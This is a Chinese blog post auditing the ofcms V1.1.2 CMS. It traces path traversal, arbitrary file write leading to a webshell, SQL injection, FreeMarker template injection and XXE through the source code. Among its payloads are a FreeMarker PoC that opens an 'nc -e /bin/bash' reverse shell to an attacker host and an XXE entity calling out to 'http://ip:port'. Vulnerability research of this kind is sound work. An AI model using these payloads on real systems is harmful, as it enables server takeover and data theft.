ofcms-V1.1.2审计

前言

代码写累了,继续搞搞审计

分析

路径遍历/文件读取

前台没啥东西,直接进后台看看。发现有个模版设置,这种地方一般可以更改页面,写shell啥的,如果没做过滤的话。

抓一个包看看,这些参数我们可控

GET /ofcms_admin_war/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/

根据路径定位到代码中,在TemplateController.java中,有个getTemplates方法可以渲染模版文件

这里接收我们传入的参数

public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
...

并且没有对目录名做限制,比如../,但是对文件名后缀有限制

File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});

得到文件名和目录后,会循环读出文件内容

if (fileName != null && files != null && files.length > 0) {
for (File f : files) {
if (fileName.equals(f.getName())) {
editFile = f;
break;
}
}
if (editFile == null) {
editFile = files[0];
fileName = editFile.getName();
}
}

setAttr("file_name", fileName);
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "&lt;").replace(">", "&gt;");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}

尝试穿越目录,发现已经读不到index.html了,说明是成功的

image-20230408152900712

我们当前所在的目录是WEB-INF/page/default/,可以尝试去读其他文件下的文件,比如jquery-1.10.1.min.js,web.xml这种后缀没有被过滤的配置文件

image-20230408150802839

都是可以成功读到的

image-20230408151354023

文件上传

其中还有一个save方法

/**
* 保存模板
*/
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}

点保存可以抓个包

POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8082
Content-Length: 201
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://localhost:8082
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8082/ofcms_admin_war/admin/cms/template/getTemplates.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8E14C550C62D9AF51B22E85F263D31D1
Connection: close

file_path=&dirs=&res_path=&file_name=&file_content=

可以修改模版,文件名和内容我们都可控,可以发现代码里也是没有任何过滤,直接将file_name和pathFile拼接了。

image-20230408162424676

然后直接将对应内容写入,所以我们可以写入木马,连接webshell

image-20230408162641562

sql注入

在代码生成处的增加表存在sql注入

直接传个单引号发现会报错

image-20230408210441999

按照黑盒测试的思路,直接上sqlmap跑跑看,开始跑出是mysql,但是跑不出具体payload,将level提高到3就跑出来了。报错注入。

image-20230408210603720

我们跟进到具体的代码,在控制器SystemGenerateController.java

/**
* 创建表
*/
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}

就三行,再跟进update,一直到这里

int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {
PreparedStatement pst = conn.prepareStatement(sql);
config.dialect.fillStatement(pst, paras);
int result = pst.executeUpdate();
DbKit.close(pst);
return result;
}

看到这里,虽然是用了预编译,但是并没有采取占位符进行参数化查询,直接executeUpdate执行了。所以等于没有过滤。

freemarker模版注入

引入了又漏洞的模版依赖

image-20230409154016934

https://www.cnblogs.com/nice0e3/p/16217471.html

https://tttang.com/archive/1412/#toc_0x01-freemarker

漏洞位置依然在后台模版文件处,我们可以修改相关页面。添加利用poc。

<#assign value="freemarker.template.utility.Execute"?new()>${value("nc -e /bin/bash ip port")}

image-20230409154341409

再去前台刷新about页面,就会执行命令,实现模版注入

XXE

src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java的export方法中

这里获取文件路径和文件名

public void expReport() {
HttpServletResponse response = getResponse();
Map<String, Object> hm = getParamsMap();
String jrxmlFileName = (String) hm.get("j");
jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
File file = new File(PathKit.getWebRootPath() + jrxmlFileName);
String fileName = (String) hm.get("reportName");
log.info("报表文件名[{}]", file.getPath());
OutputStream out = null;

文件名可控,但是后缀写死了。file对象直接拼接了文件路径,所以这里是可以穿越的

下面进入try

JasperCompileManager.compileReport(new FileInputStream(file)), hm,dataSource.getConnection());

这里传入file对象,就是jrxml的文件内容,然后一直跟进

public JasperReport compile(InputStream inputStream) throws JRException {
JasperDesign jasperDesign = JRXmlLoader.load(inputStream);
return this.compile(jasperDesign);
}

可以发现这里就直接解析了xml文件,没有过滤。

所以利用思路,我们可以利用前面的文件上传,上传一个jrxml文件

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ip:port"> %xxe;]>

然后访问

http://localhost:8082/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/kk

image-20230409164910420

成功接到http请求

作者

秋秋晚

发布于

2023-04-07

更新于

2023-04-09

许可协议

评论

:D 一言句子获取中...